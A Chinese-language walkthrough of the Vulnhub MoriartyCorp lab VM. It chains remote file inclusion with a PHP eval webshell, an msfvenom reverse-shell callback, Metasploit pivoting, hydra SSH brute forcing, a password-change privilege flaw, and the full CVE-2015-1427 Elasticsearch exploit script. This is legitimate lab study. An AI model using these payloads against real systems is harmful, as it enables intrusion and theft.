Vulnhub靶機-MoriartyCorp
靶機:MoriartyCorp
靶機下載地址:https://www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/
靶機公網IP:192.168.3.65(該靶機用docker搭建了內網)
kali機IP:192.168.3.62
真機IP:192.168.3.44
虛擬機環境搭建:通過VirtualBox導入虛擬機,網絡連接方式選擇橋接模式,導入虛擬機的時候注意不要勾選USB控制器,否則可能會出一些小問題

一、信息收集
1. 探測靶機目標
nmap -sn 192.168.3.0/24
找到攻擊目標公網IP為192.168.3.65

2. 端口掃描
nmap -p- -A 192.168.3.65
掃描到有ssh服務(23端口)、http服務(注意不是80端口,而是8000端口和9000端口)

ssh服務不知道密碼,暫時先不管,先看看http服務用瀏覽器訪問是一些什么東西
http://192.168.3.65:9000
感覺像是一個后臺登陸界面,應該是登陸到內網服務器的,但是嘗試萬能密碼,使用弱口令進行暴力破解發現并不能成功,只能暫時先放下

http://192.168.3.65:8000
發現有一些提示信息,讓我們先輸入flag{start},那就跟著提示走

輸入提示信息提交后,提示我們訪問80端口

訪問80端口,點擊Blog post1和Blog post2,從內容中沒有得到什么有用信息,但是看到路徑為../file=page1.html和../file=page2.html后,疑似存在文件包含漏洞

包含一下www.baidu.com,發現存在遠程的文件包含漏洞
http://192.168.3.65/?file=http://www.baidu.com

二、文件包含漏洞的利用
1. 在真機上使用python搭建一個簡易服務器
在桌面上新建一個文件夾,用來存放服務器的根目錄,取了個名字叫做http

打開文件夾,直接在文件路徑處輸入cmd進入終端,輸入以下命令
python -m http.server
# 默認開啟的是8000端口,如果要指定其他端口直接在后面輸入對應的端口號,如python -m http.server 80

2. 制作一句話木馬并將其放在剛才搭建好的服務器根目錄下
<?php @eval($_REQUEST['A']); ?>

3. 嘗試通過遠程文件包含漏洞包含一下自己搭建好的建議服務器并包含到木馬文件里去
成功包含木馬文件,能成功訪問到phpinfo文件信息

4. 蟻劍連接獲取shell
http://192.168.3.65/?file=http://192.168.3.44:8000/shell.txt

連接成功后返回到上一層目錄,找到第一個flag

提交flag得到下一步提示,要求掃描內網開放的80端口,這里還提示內網地址在172.17.0.3~254范圍內,看來下一步要進行滲透內網了

三、內網滲透
1. 制作反彈shell木馬文件
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.3.62 lport=8084 -f elf > shell.elf

2. 將文件上傳到靶機上,使用剛才使用的蟻劍上傳

3. 攻擊機開啟監聽
msfconsole #啟動msf
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set LHOST 192.168.3.62 #注意IP和反彈木馬文件一致
set LPORT 8084 #注意端口和反彈木馬文件一致
run #等待反彈結果

4. 修改權限,執行文件
chmod 777 shell.elf
./shell.elf
在連接的蟻劍上打開終端,發現上傳的shell.elf文件沒有執行權限,需要手動開啟,然后執行文件,回到kali等待反彈結果

反彈成功

查看一下內網IP,發現本機IP地址為172.17.0.3,這應該是其它內網服務器的網關地址

5. 創建路由
添加一條通往目標服務器內網的路由,讓目標路由分配給kali一個內網IP,這樣msf就可以直接訪問目標內網中其他設備
run autoroute -s 172.17.0.0/24 #創建跳板路由

6. 掃描內網主機80端口,172.17.0.4應該是內網中的主機
use auxiliart/scanner/portscan/tcp #使用tcp端口掃描輔助模塊
set rhosts 172.17.0.0/24 #設置掃描的內網網段
set ports 80 #設置掃描的端口
run #開始掃描

7. 設置轉發端口
sessions -i 1 #返回shell會話
portfwd add -L 192.168.3.62 -l 2424 -p 80 -r 172.17.0.4 #將內網主機的80端口轉發到kali機2424端口

訪問內網主機80端口(可以看到內網IP已經映射到了本地),在這個頁面可以看到可以上傳文件,但是需要密碼才能上傳
http://192.168.3.62:2424

8. 暴力破解密碼
上傳一句話木馬,然后使用burpsuite抓包

對密碼進行爆破,只有密碼為password時長度不一樣,看來上傳文件密碼就應該是password

找到正確密碼后就能成功上傳

注意上傳的文件存放路徑,點擊一下上傳的木馬文件就能看到上傳路徑了

嘗試訪問一下phpinfo文件信息,看看上傳的木馬是不是真的可以利用,發現可以利用,那就用蟻劍連一下吧
http://192.168.3.62:2424/photo/22/muma.php?cmd=phpinfo();

9. 蟻劍連接,獲取內網主機shell

連接成功后返回到上層目錄,成功找到第二個flag

提交flag,得到一串用戶名和密碼hash值,對密碼解密,提示用用戶名和密碼hash去攻擊ssh服務

通過md5解密,解密結果如下
63a9f0ea7bb98050796b649e85481845 root
7b24afc8bc80e548d66c4e7ff72171c5 toor
5f4dcc3b5aa765d61d8327deb882cf99 password
21232f297a57a5a743894a0e4a801fc3 admin
084e0343a0486ff05530df6c705c8bb4 guest
697c6cc76fdbde5baccb7b3400391e30 MORIARTY
8839cfc8a0f24eb155ae3f7f205f5cbc MCORP
35ac704fe1cc7807c914af478f20fd35 mcorp
b27a803ed346fbbf6d2e2eb88df1c51b weapons
08552d48aa6d6d9c05dd67f1b4ba8747 moriarty
還有另一種獲取內網的方法使用socks5代理+proxychains工具探測(前面7步一樣)
1. msf中設置socks代理
background #如果此時在會話監聽模式,使用background可以把監聽端口保存在后臺運行,如果要使用shell時再通過session -i [會話編號] 的方式進行切換
use auxiliary/server/socks_proxy #開啟socks5代理,msf6是socks_proxy,如果是msf5可能是socks4a
run #啟動socks代理

2. 在proxychains配置信息中添加socks5代理配置
vim /etc/proxychains.conf

可以看到同樣可以找到內網主機,然后使用抓包,上傳木馬,使用蟻劍連接
proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p80
# -sV 版本探測
# -sT 3次握手方式tcp掃描
# -Pn 掃描之前不需要用ping命令,有些防火墻禁用ping命令,可以使用此選項進行掃描
# -T 設置掃描線程,范圍在T1~6
# -p 設置掃描端口

10. 通過proxychains掃描ssh服務端口
根據flag2提示需要去攻擊SSH服務,一般為22端口,找到啟用SSH服務的內網主機,可以看到主機172.17.0.5是啟用了SSH服務的
proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p22

11. 爆破ssh用戶名密碼
先創建兩個字典文本文件,使用第9步得到的用戶名和密碼作為字典

使用hydra工具通過字典爆破,可以看到成功爆出ssh登陸用戶名為root,用戶密碼為weapons
proxychains hydra -L user.txt -p pass.txt ssh://172.17.0.5 -t 4
# -L 指定用戶名字典
# -p 指定密碼字典
# -t 設置線程

找到正確用戶名和密碼就可以登錄ssh了,登錄后在根目錄下找到第三個flag

提交flag后得到新的提示,有個用戶名為buyer13,密碼為arms13,此外還提示有個http服務可能不在80端口上,可能在443、8000、8080、8888這些端口,那就掃描這些端口看看

成功找到這臺http服務器的IP地址及端口號為:172.17.0.6:8000
proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p443,8000,8080,8888

瀏覽器訪問一下這個提供http服務的內網主機,不過訪問之前需要設置瀏覽器的socks代理,將socks代理設置成socks5

訪問172.17.0.6:8000,輸入提示的用戶名密碼成功登陸,發現有個改密碼的地方Change Password,點進去發現是修改密碼的地方,猜測可能存在越權漏洞,因為如果能越權修改管理員密碼,那就直接可以拿到最高權限了


12. 越權漏洞利用
使用burpsuite抓取修改密碼的數據包,不過在抓包之前不僅要在瀏覽器里開啟代理和socks代理,burpsuite里同樣要開啟


抓包,將用戶名和密碼都修改為admin,然后再放包

退出后重新訪問,再次抓包刪除舊的認證信息,放包,重新登錄,這次就用用戶名為admin密碼也為admin進行登錄,發現能成功登陸,看來修改密碼處的確存在越權漏洞啊

點擊charts后就能看到第四個flag,提交flag

提交后發現還有提示信息,提示有一臺主機運行著Elasticsearch服務,百度查找一下,發現該服務默認是在9200端口,那就繼續掃描內網主機

找到這臺Elasticsearch服務器的IP和端口為172.17.0.7:9200

使用kali自帶的searchsploit功能進行版本漏洞搜索,有個遠程代碼執行攻擊可以利用
searchsploit elasticsearch

使用36337.py腳本執行遠程代碼攻擊,能拿到shell,找到最后一個flag并提交就完成了
cd /usr/share/exploitdb/exploits/linux/remote
proxychains python 36337.py 172.17.0.7
若找不到那就用下面這個攻擊腳本
36337.py
點我看代碼
#!/bin/python2
# coding: utf-8
# Author: Darren Martyn, Xiphos Research Ltd.
# Version: 20150309.1
# Licence: WTFPL - wtfpl.net
import json
import requests
import sys
import readline
readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode vi')
__version__ = "20150309.1"
def banner():
print """\x1b[1;32m
▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██? ██ ▓█████ ██▓ ██▓
▓█ ? ▓██? ?████▄ ?██ ? ▓ ██? ▓?▓██??██? ?█ ?██ ? ▓██? ██?▓█ ? ▓██? ▓██?
?███ ?██? ?██ ?█▄ ? ▓██▄ ? ▓██? ???██??▓█ ▄ ? ▓██▄ ?██??██??███ ?██? ?██?
?▓█ ▄ ?██? ?██▄▄▄▄██ ? ██?? ▓██▓ ? ?██??▓▓▄ ▄██? ? ██??▓█ ?██ ?▓█ ▄ ?██? ?██?
??████??██████?▓█ ▓██??██████?? ?██? ? ?██?? ▓███? ??██████???▓█??██▓??████??██████??██████?
?? ?? ?? ??▓ ??? ▓?█?? ?▓? ? ? ? ?? ?▓ ? ?? ? ?? ?▓? ? ? ? ??????? ?? ?? ??▓ ?? ??▓ ?
? ? ?? ? ? ? ? ?? ?? ?? ? ? ? ? ? ? ? ? ?? ? ? ? ??? ? ? ? ?? ? ? ?? ? ? ?
? ? ? ? ? ? ? ? ? ? ?? ? ? ? ? ?? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
?
Exploit for ElasticSearch , CVE-2015-1427 Version: %s\x1b[0m""" %(__version__)
def execute_command(target, command):
payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"}}}""" %(command)
try:
url = "http://%s:9200/_search?pretty" %(target)
r = requests.post(url=url, data=payload)
except Exception, e:
sys.exit("Exception Hit"+str(e))
values = json.loads(r.text)
fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
print fuckingjson.strip()
def exploit(target):
print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something"
while True:
cmd = raw_input("~$ ")
if cmd == "exit":
sys.exit("{!} Shell exiting!")
else:
execute_command(target=target, command=cmd)
def main(args):
banner()
if len(args) != 2:
sys.exit("Use: %s target" %(args[0]))
exploit(target=args[1])
if __name__ == "__main__":
main(args=sys.argv)


結束

浙公網安備 33010602011771號